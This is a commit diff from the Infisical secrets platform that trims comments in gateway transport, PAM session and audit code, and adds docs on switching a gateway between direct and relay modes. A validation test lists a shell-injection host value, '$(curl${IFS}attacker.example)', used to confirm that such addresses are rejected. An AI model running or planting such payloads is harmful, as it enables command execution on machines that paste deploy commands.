Infisical is the open-source platform for securing secrets, certificates, access, and AI Agents.
TypeScript acmeagentsai-agentscertificate-managementdevsecopsenvironment-variableskubernetesopen-sourcepampkipostgresprivate-caprivileged-access-managementsecret-managementsecret-managersecretssecrets-managementsecuritysecurity-toolsvault
refactor(gateways): cut the comments back
bernie-gac699e65b21c
diff --git a/backend/src/ee/routes/v1/pam-routers/pam-session-router.ts b/backend/src/ee/routes/v1/pam-routers/pam-session-router.tsindex 56125f9798..6365e1a9df 100644--- a/backend/src/ee/routes/v1/pam-routers/pam-session-router.ts+++ b/backend/src/ee/routes/v1/pam-routers/pam-session-router.ts@@ -386,10 +386,7 @@ export const registerPamWebAccessRouter = async (server: FastifyZodProvider) =>tokenVersionId: isUserSessionAuth(req.auth) ? req.auth.tokenVersionId : undefined,accessMethod: req.body.accessMethod === "web" ? PamAccessMethod.Web : PamAccessMethod.Cli,targetHost: req.body.targetHost,- // Web access is brokered by the platform, so it can use any transport the gateway has. A CLI- // reports what it can dial, and an empty list means an older CLI that only knows relays.- // Do not collapse the empty array into undefined: that would hand a direct-only gateway to- // a CLI that cannot reach it.+ // [] is an older CLI that only knows relays, so it must not collapse to undefined.supportedTransports:req.body.accessMethod === PamAccessMethod.Web ? undefined : (req.body.supportedTransports ?? [])});diff --git a/backend/src/ee/routes/v3/gateway-router.ts b/backend/src/ee/routes/v3/gateway-router.tsindex 9160a8b88a..c36c48b410 100644--- a/backend/src/ee/routes/v3/gateway-router.ts+++ b/backend/src/ee/routes/v3/gateway-router.ts@@ -754,10 +754,6 @@ export const registerGatewayV3Router = async (server: FastifyZodProvider) => {directAddress: req.body.directAddress});- // A gateway can change its own transports here, including pointing the platform at a new- // address to dial, so every connect is recorded whether or not anything changed. Spreading- // auditLogInfo keeps the source IP and user agent on an event that repoints where the- // platform dials, and reuses the GATEWAY actor the audit plugin already resolved.await server.services.auditLog.createAuditLog({...req.auditLogInfo,orgId: req.permission.orgId,diff --git a/backend/src/ee/services/audit-log/audit-log-types.ts b/backend/src/ee/services/audit-log/audit-log-types.tsindex 2362aa4b7b..39de56fc50 100644--- a/backend/src/ee/services/audit-log/audit-log-types.ts+++ b/backend/src/ee/services/audit-log/audit-log-types.ts@@ -6992,8 +6992,6 @@ interface GatewayEnrollEvent {metadata: {gatewayId: string;name: string;- // Which transports the gateway registered, and the address the platform will dial for a direct- // one. Recorded on every registration so a switch between transports is visible after the fact.transports: ("direct" | "relay")[];directAddress?: string;relayName?: string;diff --git a/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.ts b/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.tsindex 23e51b2120..ec814d7d20 100644--- a/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.ts+++ b/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.ts@@ -6,8 +6,6 @@ import { BadRequestError } from "@app/lib/errors";import { isPrivateIp } from "@app/lib/ip/ipRange";import { getDbConnectionHost } from "@app/lib/knex";-// The services Infisical itself runs on. A user-supplied host that resolves to one of these would-// point Infisical at its own database, cache, or log store.const getReservedIps = async () => {const appCfg = getConfig();const reservedHosts = [appCfg.DB_HOST || getDbConnectionHost(appCfg.DB_CONNECTION_URI)].concat(@@ -31,9 +29,7 @@ const getReservedIps = async () => {return exclusiveIps;};-// For hosts that are legitimately private, such as a gateway's own listen address, where the-// private-IP block in verifyHostInputValidity would reject the entire feature. Infisical's own-// infrastructure is still off limits: a gateway naming it would have the platform dial itself.+// Unlike verifyHostInputValidity, allows private hosts: a gateway's listen address is private by design.export const assertHostNotInfisicalInfrastructure = async ({ host }: { host: string }) => {const appCfg = getConfig();if (appCfg.isDevelopmentMode || appCfg.isTestMode) return;@@ -48,8 +44,7 @@ export const assertHostNotInfisicalInfrastructure = async ({ host }: { host: strtry {hostIps = (await dns.lookup(host, { all: true })).map(({ address }) => address);} catch {- // An address that does not resolve yet is allowed through: a gateway is often registered- // before its DNS record exists, and an unresolvable host cannot reach anything either way.+ // A gateway is often registered before its DNS record exists.return;}}diff --git a/backend/src/ee/services/gateway-v2/gateway-v2-constants.ts b/backend/src/ee/services/gateway-v2/gateway-v2-constants.tsindex e37d0ebee6..992e8ecd08 100644--- a/backend/src/ee/services/gateway-v2/gateway-v2-constants.ts+++ b/backend/src/ee/services/gateway-v2/gateway-v2-constants.ts@@ -11,9 +11,7 @@ export const GATEWAY_ROUTING_INFO_OID = "1.3.6.1.4.1.12345.100.1";export const GATEWAY_ACTOR_OID = "1.3.6.1.4.1.12345.100.2";export const PAM_INFO_OID = "1.3.6.1.4.1.12345.100.3";-// A transport counts as usable while its last successful probe is inside the TTL window. A gateway-// that has never been probed on a transport is treated as usable so a freshly registered gateway is-// not locked out before its first heartbeat.+// Never probed counts as usable, so a freshly registered gateway is not locked out.export const isTransportHealthy = ({probedAt,heartbeatTTL@@ -27,9 +25,7 @@ export const isTransportHealthy = ({return Date.now() - new Date(probedAt).getTime() <= staleAfterMs;};-// A gateway is reachable while any transport it has configured has a fresh probe. Checking only the-// preferred transport takes a dual-transport gateway offline the moment its direct address breaks,-// even though the platform keeps serving it over the relay.+// Any configured transport with a fresh probe, so a dual gateway stays up when one path breaks.export const buildGatewayReachableSql = (table: string) => {const isFresh = (probe: string) =>`("${table}"."${probe}" IS NOT NULL AND "${table}"."${probe}" + make_interval(secs => COALESCE("${table}"."heartbeatTTL", 0) + ${HEARTBEAT_BUFFER_SECONDS}) > NOW())`;@@ -39,17 +35,12 @@ export const buildGatewayReachableSql = (table: string) => {)}) OR ("${table}"."relayId" IS NOT NULL AND ${isFresh("heartbeat")})))`;};-// Whether the gateway has ever been probed on any transport, so one that was registered but never-// health-checked is not reported as having gone offline. Deliberately ignores which transports are-// configured now: a gateway whose relay was deleted keeps a probe but no transport, and that is-// exactly the state an operator needs to hear about.+// Ignores which transports are configured now: a gateway whose relay was deleted still needs alerting.export const buildGatewayProbedSql = (table: string) =>`("${table}"."directHeartbeat" IS NOT NULL OR "${table}"."heartbeat" IS NOT NULL)`;export type TGatewayTransport = "direct" | "relay";-// Decides which transports a dial is given credentials for. Extracted so the matrix can be tested-// without standing up KMS and the relay service.export const resolveTransports = ({gateway,transport@@ -62,26 +53,18 @@ export const resolveTransports = ({};transport?: TGatewayTransport;}) => {- // An explicit transport is honoured as asked, since health probes must target one path. Otherwise- // direct is preferred, but only while its last probe is fresh: a gateway whose direct address- // broke keeps serving traffic over its relay instead of failing every operation.const directUsable =Boolean(gateway.directAddress) &&(transport === "direct" ||!gateway.relayId ||isTransportHealthy({ probedAt: gateway.directHeartbeat, heartbeatTTL: gateway.heartbeatTTL }));const useDirect = transport !== "relay" && directUsable;- // Relay credentials ride along on a dual-transport gateway even when direct is chosen, so the dial- // can retry over the relay when the direct address fails before its probe marks it stale.+ // Relay credentials ride along even when direct is chosen, so a dial can retry before the probe goes stale.const useRelay = transport !== "direct" && Boolean(gateway.relayId);- // Asking for a transport the gateway does not have leaves nothing selected, so the caller has to- // fail here rather than dial with no credentials.return { useDirect, useRelay, hasTransport: useDirect || useRelay };};-// Derived from what was actually issued rather than what was asked for, so an audit log records the-// transports the gateway ended up with.export const gatewayTransports = ({directAddress,relayHost@@ -95,10 +78,7 @@ export const gatewayTransports = ({return transports;};-// Which transports a PAM client is given, from what the gateway has and what the client says it can-// dial. Extracted alongside resolveTransports so the matrix is testable without KMS or the relay-// service. `supportedTransports` undefined means the platform is dialling on the client's behalf-// (browser access) and any transport is fine; an empty array is an older CLI that only knows relays.+// undefined means the platform dials on the client's behalf; [] is an older CLI that only knows relays.export const resolveClientTransports = ({gateway,supportedTransports@@ -115,10 +95,7 @@ export const resolveClientTransports = ({const allowRelay =supportedTransports === undefined || supportedTransports.length === 0 || supportedTransports.includes("relay");- // A stale direct probe means the platform could not reach the address, so handing it out makes- // every session pay the direct handshake timeout before falling back. Skipped only when the relay- // can actually take over; otherwise it is the client's only path and a stale probe beats not- // trying. Same rule resolveTransports applies to platform-side dials.+ // Skip a stale direct address only when the relay can take over; otherwise it is the client's only path.const canFallBackToRelay = allowRelay && Boolean(gateway.relayId);const allowDirect =clientAllowsDirect &&@@ -134,20 +111,15 @@ export const resolveClientTransports = ({useDirect,useRelay,hasTransport: useDirect || useRelay,- // Separates "your client is too old for this gateway" from "this gateway has nothing to dial",- // so the caller can tell the user which one it is.isDirectOnlyForOlderClient: Boolean(gateway.directAddress) && !gateway.relayId && !clientAllowsDirect,gatewayHasTransport: Boolean(gateway.directAddress || gateway.relayId)};};-// A single DNS label: alphanumerics and inner hyphens, at most 63 characters.export const DNS_LABEL_REGEX = new RE2(/^[A-Za-z0-9]([A-Za-z0-9-]{0,61}[A-Za-z0-9])?$/);const TRAILING_DOT_REGEX = new RE2(/\.$/);-// The URL parser alone accepts hostnames carrying shell syntax, such as `$(cmd).example.com`. The-// address is rendered into copy-and-run deploy commands, so the host is held to real DNS or IP-// syntax rather than to whatever the parser tolerates.+// The address lands in copy-and-run deploy commands, so a host carrying shell syntax must not pass.export const isValidDirectHost = (host: string) => {if (net.isIP(host)) return true;if (host.length > 253) return false;@@ -156,8 +128,7 @@ export const isValidDirectHost = (host: string) => {};export const parseDirectAddress = (address: string) => {- // Errors never echo the address. It can arrive shaped like a connection string, and these- // messages are logged and pasted into support threads.+ // Never echo the address: it can arrive shaped like a connection string.const invalidFormat = () =>new BadRequestError({message: "Gateway direct address must use the host:port format, such as gateway.internal:8443"diff --git a/backend/src/ee/services/gateway-v2/gateway-v2-service.ts b/backend/src/ee/services/gateway-v2/gateway-v2-service.tsindex 4fb60d5e5a..07db072a73 100644--- a/backend/src/ee/services/gateway-v2/gateway-v2-service.ts+++ b/backend/src/ee/services/gateway-v2/gateway-v2-service.ts@@ -761,8 +761,7 @@ export const gatewayV2ServiceFactory = ({return {gatewayId: gateway.id,- // For the audit log. Not part of either route's response schema, so it is stripped on the way- // out rather than becoming part of the API contract.+ // For the audit log; not in either response schema, so zod strips it.gatewayName: gateway.name,directAddress: gateway.directAddress ?? undefined,relayHost: relayCredentials?.relayHost,@@ -803,8 +802,7 @@ export const gatewayV2ServiceFactory = ({throw new BadRequestError({ message: "Direct gateway connections are not available on Infisical Cloud" });}const { host } = parseDirectAddress(directAddress);- // Checked here rather than at dial time: registration happens once per address change, while- // a dial happens per connection, and this resolves DNS.+ // Once per address change rather than once per dial, since this resolves DNS.await assertHostNotInfisicalInfrastructure({ host });}const orgCAs = await $getOrgCAs(orgId);@@ -829,11 +827,7 @@ export const gatewayV2ServiceFactory = ({throw new NotFoundError({ message: "No connection transport associated with this gateway" });}- // The gateway declares its full transport set on every call, so an omitted transport is- // removed rather than left behind. That is what makes dropping one work, and it is also- // correct for a rolled-back CLI: a binary without --listen-address is not listening, so the- // row should stop advertising an address nothing answers on. Each probe survives only while- // its transport is unchanged, since a new address or relay has not been reached yet.+ // The gateway declares its full transport set every call, so an omitted transport is removed.const registeredGateway = await gatewayV2DAL.updateById(gateway.id, {directAddress: directAddress ?? null,directHeartbeat: directAddress === gateway.directAddress ? gateway.directHeartbeat : null,@@ -1011,9 +1005,7 @@ export const gatewayV2ServiceFactory = ({const results = await Promise.allSettled(transports.map((transport) => $checkGatewayHealth(gatewayId, transport)));- // A gateway stays reachable while one transport answers, so a single failure raises nothing and- // the UI keeps reporting it healthy. Log each one, otherwise a broken direct address on an- // otherwise-working gateway is invisible until someone notices sessions are slow to start.+ // One transport failing raises nothing, so log it or a broken direct path stays invisible.results.forEach((result, index) => {if (result.status !== "rejected") return;const err = result.reason instanceof Error ? result.reason : new Error(String(result.reason));@@ -1424,8 +1416,7 @@ export const gatewayV2ServiceFactory = ({throw new BadRequestError({ message: "Direct gateway connections are not available on Infisical Cloud" });}const { host } = parseDirectAddress(directAddress);- // Checked here rather than at dial time: registration happens once per address change, while- // a dial happens per connection, and this resolves DNS.+ // Once per address change rather than once per dial, since this resolves DNS.await assertHostNotInfisicalInfrastructure({ host });}const orgCAs = await $getOrgCAs(orgId);@@ -1448,11 +1439,7 @@ export const gatewayV2ServiceFactory = ({throw new NotFoundError({ message: "No connection transport associated with this gateway" });}- // The gateway declares its full transport set on every call, so an omitted transport is- // removed rather than left behind. That is what makes dropping one work, and it is also- // correct for a rolled-back CLI: a binary without --listen-address is not listening, so the- // row should stop advertising an address nothing answers on. Each probe survives only while- // its transport is unchanged, since a new address or relay has not been reached yet.+ // The gateway declares its full transport set every call, so an omitted transport is removed.const registeredGateway = await gatewayV2DAL.updateById(gateway.id, {directAddress: directAddress ?? null,directHeartbeat: directAddress === gateway.directAddress ? gateway.directHeartbeat : null,diff --git a/backend/src/ee/services/gateway-v2/gateway-v2-transport.test.ts b/backend/src/ee/services/gateway-v2/gateway-v2-transport.test.tsindex ef38eae4a9..454439ed81 100644--- a/backend/src/ee/services/gateway-v2/gateway-v2-transport.test.ts+++ b/backend/src/ee/services/gateway-v2/gateway-v2-transport.test.ts@@ -71,8 +71,7 @@ describe("resolveTransports", () => {).toMatchObject({ hasTransport: false });});- // The bug this covers: a dual gateway was handed direct with no relay credentials, so a broken- // direct address failed every operation instead of falling back.+ // Covers a real bug: a dual gateway got direct with no relay credentials, so it could not fall back.test("a healthy dual gateway prefers direct but carries relay credentials for the fallback", () => {expect(resolveTransports({ gateway: { ...dual, directHeartbeat: fresh } })).toEqual({useDirect: true,@@ -143,8 +142,7 @@ describe("resolveClientTransports", () => {});});- // The bug this covers: direct was handed out on client capability alone, so a dual gateway with a- // dead direct address made every session pay the direct handshake timeout before falling back.+ // Covers a real bug: direct went out on client capability alone, so every session paid the timeout.test("a stale direct probe is skipped when the relay can take over", () => {expect(resolveClientTransports({@@ -214,8 +212,7 @@ describe("parseDirectAddress", () => {expect(parseDirectAddress(address)).toEqual({ host, port });});- // The address is interpolated into copy-and-run deploy commands, so a host carrying shell syntax- // would execute on the machine of whoever pastes the command. The URL parser alone allows these.+ // These reach copy-and-run deploy commands, and the URL parser alone accepts every one of them./* eslint-disable no-template-curly-in-string -- ${IFS} is literal payload text, not interpolation */test.each(["$(curl${IFS}attacker.example).x:8443",diff --git a/backend/src/ee/services/pam-session/pam-session-fns.ts b/backend/src/ee/services/pam-session/pam-session-fns.tsindex 45af707928..a6935be046 100644--- a/backend/src/ee/services/pam-session/pam-session-fns.ts+++ b/backend/src/ee/services/pam-session/pam-session-fns.ts@@ -128,9 +128,7 @@ export const sendPamSessionCancellationSignal = ({await withGatewayV2Proxy((port) =>new Promise<void>((resolve, reject) => {- // The ALPN signal is the connection itself, so cleanup must not tear the tunnel down- // until the proxy has forwarded it and the gateway has closed its end. Bounded, because- // a gateway that never closes its end would otherwise hold this tunnel open forever.+ // The ALPN signal is the connection itself, so the tunnel must outlive the forward.const socket = net.connect(port, "127.0.0.1", () => {socket.end();});diff --git a/backend/src/ee/services/pam-web-access/pam-web-access-service.ts b/backend/src/ee/services/pam-web-access/pam-web-access-service.tsindex 7180ae4542..bfd4c0461c 100644--- a/backend/src/ee/services/pam-web-access/pam-web-access-service.ts+++ b/backend/src/ee/services/pam-web-access/pam-web-access-service.ts@@ -404,9 +404,7 @@ export const pamWebAccessServiceFactory = ({await withGatewayV2Proxy((port) =>new Promise<void>((resolve, reject) => {- // The ALPN signal is the connection itself, so cleanup must not tear the tunnel- // down until the proxy has forwarded it and the gateway has closed its end.- // Bounded, so a gateway that never closes its end cannot hold the tunnel open.+ // The ALPN signal is the connection itself, so the tunnel must outlive the forward.const cancelSocket = net.connect(port, "127.0.0.1", () => {cancelSocket.end();});diff --git a/backend/src/ee/services/pam/pam-enums.ts b/backend/src/ee/services/pam/pam-enums.tsindex 0f1819c94b..88a4160f12 100644--- a/backend/src/ee/services/pam/pam-enums.ts+++ b/backend/src/ee/services/pam/pam-enums.ts@@ -91,6 +91,5 @@ export enum PamNotificationEvent {AccessRequestDenied = "access-request-denied"}-// How long to wait for a session-cancellation signal to reach the gateway before giving up on the-// acknowledgement. The signal is best-effort, so the tunnel is torn down either way.+// Best-effort: the tunnel is torn down either way.export const PAM_CANCELLATION_FLUSH_TIMEOUT_MS = 5000;diff --git a/backend/src/ee/services/resource-auth-method/resource-auth-method-service.ts b/backend/src/ee/services/resource-auth-method/resource-auth-method-service.tsindex 7b75a77c24..b4a3c46ad0 100644--- a/backend/src/ee/services/resource-auth-method/resource-auth-method-service.ts+++ b/backend/src/ee/services/resource-auth-method/resource-auth-method-service.ts@@ -168,8 +168,7 @@ export const resourceAuthMethodServiceFactory = ({return kmipServer ? { id: kmipServer.id, name: kmipServer.name, orgId: kmipServer.orgId, identityId: null } : null;};- // Bumps tokenVersion (invalidating outstanding JWTs) and clears every liveness probe, so a- // revoked resource cannot keep looking reachable. KMIP servers have no heartbeat columns.+ // Bumps tokenVersion and clears every liveness probe. KMIP servers have no heartbeat columns.const $bumpTokenVersion = async (resource: ResourceRef, tx?: Knex): Promise<number> => {if (resource.type === RESOURCE_TYPE_GATEWAY) {const refreshed = await gatewayV2DAL.updateById(diff --git a/backend/src/lib/gateway-v2/gateway-v2.ts b/backend/src/lib/gateway-v2/gateway-v2.tsindex 4d58756f88..7c0c824fd7 100644--- a/backend/src/lib/gateway-v2/gateway-v2.ts+++ b/backend/src/lib/gateway-v2/gateway-v2.ts@@ -123,12 +123,8 @@ export const createRelayConnection = async ({});};-// A gateway socket's inactivity timer, applied once the mTLS handshake is done. Long-lived tunnels-// clear it entirely and rely on TCP keep-alive instead.const GATEWAY_IDLE_TIMEOUT_MS = 120000;-// Handshake budget for a direct connection. Kept short so an unreachable or wedged direct address-// fails fast and the caller can retry over the relay.const DIRECT_HANDSHAKE_TIMEOUT_MS = 3000;export const createGatewayConnection = async (@@ -183,9 +179,7 @@ export const createGatewayConnection = async (return;}- // setTimeout is an inactivity timer, not a deadline, and this listener outlives the- // handshake. Leaving a short handshake budget in place would destroy the tunnel on the- // first quiet stretch of a slow operation, so widen it once the handshake is done.+ // setTimeout is an inactivity timer, not a deadline, and this listener outlives the handshake.gatewaySocket.setTimeout(GATEWAY_IDLE_TIMEOUT_MS);logger.info(`Gateway mTLS connection established successfully [tunnelId=${tunnelId ?? "n/a"}]`);@@ -256,10 +250,7 @@ export const setupRelayServer = async ({const tunnelId = crypto.randomBytes(4).toString("hex");const hasRelayFallback = Boolean(directAddress && relayHost && relay);- // The address is validated when the gateway registers it: host syntax and port range in- // parseDirectAddress, and Infisical's own infrastructure ruled out by- // assertHostNotInfisicalInfrastructure. Re-checking per connection would resolve DNS on every- // dial, so nothing is validated here.+ // Validated at registration; re-checking here would resolve DNS on every dial.const dialDirect = () => {const parsed = new URL(`tcp://${directAddress}`);const serverName = parsed.hostname.startsWith("[") ? parsed.hostname.slice(1, -1) : parsed.hostname;@@ -282,8 +273,7 @@ export const setupRelayServer = async ({return { conn, serverName: "localhost", direct: false };};- // Dials one transport and completes the gateway handshake over it. Both stages are here so a- // direct address that accepts TCP but fails the handshake still falls back to the relay.+ // Handshake included so a direct address that accepts TCP but fails mTLS still falls back.const openOverTransport = async (dial: () => Promise<{ conn: net.Socket; serverName: string; direct: boolean }>) => {@@ -313,8 +303,6 @@ export const setupRelayServer = async ({tunnelLog(tunnelId, directAddress ? "direct transport failed" : "relay transport failed", ` [err=${reason}]`);if (!hasRelayFallback) throw err;- // The direct address is unreachable or unhealthy, so retry the same attempt over the relay- // rather than failing an operation the gateway can still serve.tunnelLog(tunnelId, "falling back to relay");try {({ relayConn, gatewayConn } = await openOverTransport(dialRelay));diff --git a/docs/cli/commands/gateway.mdx b/docs/cli/commands/gateway.mdxindex ac5e51e29a..7432011467 100644--- a/docs/cli/commands/gateway.mdx+++ b/docs/cli/commands/gateway.mdx@@ -164,7 +164,7 @@ In direct listen mode it also:infisical gateway start my-gateway --listen-address=gateway.internal:8443 --enroll-method=token --token=<token> --domain=<domain>```- Pass it alongside `--relay` to run both modes, so Infisical uses the direct address first and falls back to the relay:+ Pass it alongside `--relay` to run both modes, so Infisical uses the direct address first and falls back to the relay. This is how you switch an existing gateway between modes without an outage, and [Running both modes](/documentation/platform/gateways/network-architecture#running-both-modes) covers when to keep both:```bashinfisical gateway start my-gateway --listen-address=gateway.internal:8443 --relay=my-relay --enroll-method=token --token=<token> --domain=<domain>diff --git a/docs/documentation/platform/gateways/gateway-deployment.mdx b/docs/documentation/platform/gateways/gateway-deployment.mdxindex 600406df11..212f48dca0 100644--- a/docs/documentation/platform/gateways/gateway-deployment.mdx+++ b/docs/documentation/platform/gateways/gateway-deployment.mdx@@ -12,7 +12,7 @@ This guide covers everything you need to deploy and configure Infisical Gateways## Choose a connection mode-Before you deploy, decide which side opens the connection between Infisical and the Gateway. This is the one choice that changes what else you have to set up.+Before you deploy, decide which side opens the connection between Infisical and the Gateway.| | Direct listen | Relay ||---|---|---|@@ -27,9 +27,9 @@ Before you deploy, decide which side opens the connection between Infisical and**Use relay mode** when the Gateway sits behind NAT or a firewall you can't open, when you're on Infisical Cloud, or when PAM CLI users connect from outside the Gateway's network.-Direct listen isn't a paid feature you can turn on for Cloud. Cloud runs outside your network and has no route into it, so there's no address it could dial. Relay mode exists precisely so the Gateway can open that connection from the inside.+Direct listen isn't a paid feature you can turn on for Cloud. Cloud runs outside your network and has no route into it, so there's no address it could dial. Relay mode exists so the Gateway can open that connection from the inside.-You can also run both at once, which gives you direct connections for platform operations and a relay for PAM CLI users outside the network. Pass `--relay` and `--listen-address` together, and Infisical uses the direct address first and falls back to the relay when it stops answering.+You can also run both at once, which is how you move an existing Gateway from one mode to the other without an outage. Pass `--relay` and `--listen-address` together, and Infisical uses the direct address first and falls back to the relay when it stops answering. See [Running both modes](/documentation/platform/gateways/network-architecture#running-both-modes).For the ports, certificates, and traffic flow behind each mode, see [Network architecture](/documentation/platform/gateways/network-architecture).diff --git a/docs/documentation/platform/gateways/network-architecture.mdx b/docs/documentation/platform/gateways/network-architecture.mdxindex 6cc97a39cc..e3a2b80efb 100644--- a/docs/documentation/platform/gateways/network-architecture.mdx+++ b/docs/documentation/platform/gateways/network-architecture.mdx@@ -88,7 +88,17 @@ By default the Gateway binds the port from `--listen-address` on every interfaceA Gateway can run both modes at once. Pass `--relay` and `--listen-address` together, and Infisical uses the direct address first, and falls back to the relay when that address stops answering. Health checks probe each mode separately, so the Gateway stays healthy while either one works.-This is worth doing when you want direct connections for everything the platform does, and a relay so PAM CLI sessions still work for users outside the network.+Running both is mainly how you switch an existing Gateway between modes without an outage. A Gateway declares its transports every time it registers, so the move is a flag change and a restart:++| Flags | Mode |+|---|---|+| `--relay=my-relay` | Relay only |+| `--relay=my-relay --listen-address=gateway.internal:8443` | Both |+| `--listen-address=gateway.internal:8443` | Direct only |++Stop at the middle step and check the Gateway's health. If the address is wrong or Infisical can't route to it, operations keep completing over the relay while the Gateway page reports the direct path as unreachable, so a bad address costs you nothing. Drop `--relay` once direct is healthy, or drop `--listen-address` to go back.++Running both permanently only helps clients that can reach the direct address. PAM CLI sessions dial the Gateway from the user's own machine, so a user outside the network waits for the direct attempt to time out before the session falls back to the relay. If most of your CLI users are outside the network, relay mode alone serves them better.## Self-hosted relay (optional)diff --git a/frontend/src/hooks/api/gateways-v2/utils.ts b/frontend/src/hooks/api/gateways-v2/utils.tsindex 4b0d6dadd1..263955cb54 100644--- a/frontend/src/hooks/api/gateways-v2/utils.ts+++ b/frontend/src/hooks/api/gateways-v2/utils.ts@@ -15,11 +15,7 @@ export const isGatewayHealthy = (gateway: {((gateway.heartbeatTTL as number) + HEARTBEAT_BUFFER_SECONDS) * 1000 >Date.now();- // Mirrors the backend's buildGatewayReachableSql. A gateway running both transports is reachable- // while either path is fresh, since the platform falls back to the relay when the direct address- // is down, and a transport counts only while it is still configured: deleting a relay nulls- // relayId and leaves its last heartbeat behind, which would otherwise keep reporting a gateway- // the platform can no longer dial as healthy.+ // Mirrors buildGatewayReachableSql: a transport counts only while it is still configured.return ((Boolean(gateway.directAddress) && isFresh(gateway.directHeartbeat)) ||(Boolean(gateway.relayId) && isFresh(gateway.heartbeat))@@ -44,9 +40,7 @@ export type TGatewayTransportHealth = {probedAt: string | null;};-// Per-transport health for a gateway running more than one. The aggregate badge is healthy while-// either path answers, which is right for "can Infisical use this gateway" and useless for "which-// path is broken", and a broken direct path is what makes sessions slow to start.+// The aggregate badge answers "is this gateway usable", not "which path is broken".export const getGatewayTransportHealth = (gateway: {heartbeat?: string | null;relayId?: string | null;diff --git a/frontend/src/hooks/api/gateways/queries.tsx b/frontend/src/hooks/api/gateways/queries.tsxindex 2ec34350bc..42c3abeb68 100644--- a/frontend/src/hooks/api/gateways/queries.tsx+++ b/frontend/src/hooks/api/gateways/queries.tsx@@ -9,8 +9,7 @@ export type TListedGatewayV1 = TGateway & { isV1: true };export type TListedGatewayV2 = TGatewayV2 & { isV1: false };export type TListedGateway = TListedGatewayV1 | TListedGatewayV2;-// A type predicate, so the narrowing survives a .filter(). A plain `!g.isV1` callback returns the-// union unchanged, which is how v1 gateways reached helpers that only accept the v2 shape.+// A predicate, so the narrowing survives a .filter(). A plain boolean callback does not narrow.export const isListedGatewayV2 = (gateway: TListedGateway): gateway is TListedGatewayV2 =>!gateway.isV1;diff --git a/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/AwsStartCommandDialog.tsx b/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/AwsStartCommandDialog.tsxindex 92cee81299..dc05b1ca56 100644--- a/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/AwsStartCommandDialog.tsx+++ b/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/AwsStartCommandDialog.tsx@@ -22,8 +22,6 @@ type Props = {const AUTO_RELAY_OPTION = { id: "_auto", name: "Auto Select Relay" };-// Stands in until the listen address is filled in and valid, so a copied command never carries-// an address the API would reject.const PLACEHOLDER_ADDRESS = "<gateway-address>:8443";export const AwsStartCommandContent = ({diff --git a/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/EnrollmentTokenDialog.tsx b/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/EnrollmentTokenDialog.tsxindex 6795a5f369..7913f5ccef 100644--- a/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/EnrollmentTokenDialog.tsx+++ b/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/EnrollmentTokenDialog.tsx@@ -25,8 +25,6 @@ type Props = {const AUTO_RELAY_OPTION = { id: "_auto", name: "Auto Select Relay" };-// Stands in until the listen address is filled in and valid, so a copied command never carries-// an address the API would reject.const PLACEHOLDER_ADDRESS = "<gateway-address>:8443";const formatTimeRemaining = (expiresAt: string, now: number) => {diff --git a/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/KubernetesStartCommandDialog.tsx b/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/KubernetesStartCommandDialog.tsxindex 3f3c8eaf04..1aa724f1fe 100644--- a/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/KubernetesStartCommandDialog.tsx+++ b/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayAuthMethod/KubernetesStartCommandDialog.tsx@@ -26,8 +26,6 @@ type Props = {const AUTO_RELAY_OPTION = { id: "_auto", name: "Auto Select Relay" };-// Stands in until the listen address is filled in and valid, so a copied command never carries-// an address the API would reject.const PLACEHOLDER_ADDRESS = "<gateway-address>:8443";export const KubernetesStartCommandContent = ({@@ -46,8 +44,7 @@ export const KubernetesStartCommandContent = ({const resolvedRelayName = isDirect || relay.id === "_auto" ? "" : relay.name;const helmCommand = useMemo(() => {- // The chart derives the container port and the Service port from listenAddress, so setting- // service.port here would only re-derive the same value in a second place.+ // The chart derives both ports from listenAddress.const directPart = isDirect? ` \\\n --set gateway.listenAddress=${listenAddress || PLACEHOLDER_ADDRESS}`: "";diff --git a/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayDeploySection/GatewayDeploySection.tsx b/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayDeploySection/GatewayDeploySection.tsxindex ff94d27825..73aad58936 100644--- a/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayDeploySection/GatewayDeploySection.tsx+++ b/frontend/src/pages/organization/NetworkingPage/GatewayDetailsByIDPage/components/GatewayDeploySection/GatewayDeploySection.tsx@@ -80,9 +80,7 @@ export const GatewayDeploySection = ({}: Props) => {const isCloud = isInfisicalCloud();const isKubernetes = authMethod.method === "kubernetes";- // Direct listen is the recommended mode, so it is also the default. The exceptions are Cloud,- // which cannot reach into a customer network, and a gateway already deployed against a relay- // alone, where the rendered command should match how it actually runs.+ // Relay only for Cloud, which cannot route inward, and for a gateway already running relay alone.const isRelayOnlyGateway = Boolean(relayId) && !directAddress;const [connectionMode, setConnectionMode] = useState<"relay" | "direct">(isCloud || isRelayOnlyGateway ? "relay" : "direct"@@ -91,8 +89,7 @@ export const GatewayDeploySection = ({const trimmedListenAddress = listenAddress.trim();const hasListenAddressError =trimmedListenAddress.length > 0 && !isValidListenAddress(trimmedListenAddress);- // A malformed address must not reach a copyable command, where it would fail against the API- // rather than in the field the user can see.+ // Keep a malformed address out of a copyable command.const commandListenAddress = hasListenAddressError ? "" : trimmedListenAddress;const [deploymentMethod, setDeploymentMethod] = useState("");const [mintedEnrollment, setMintedEnrollment] = useState<diff --git 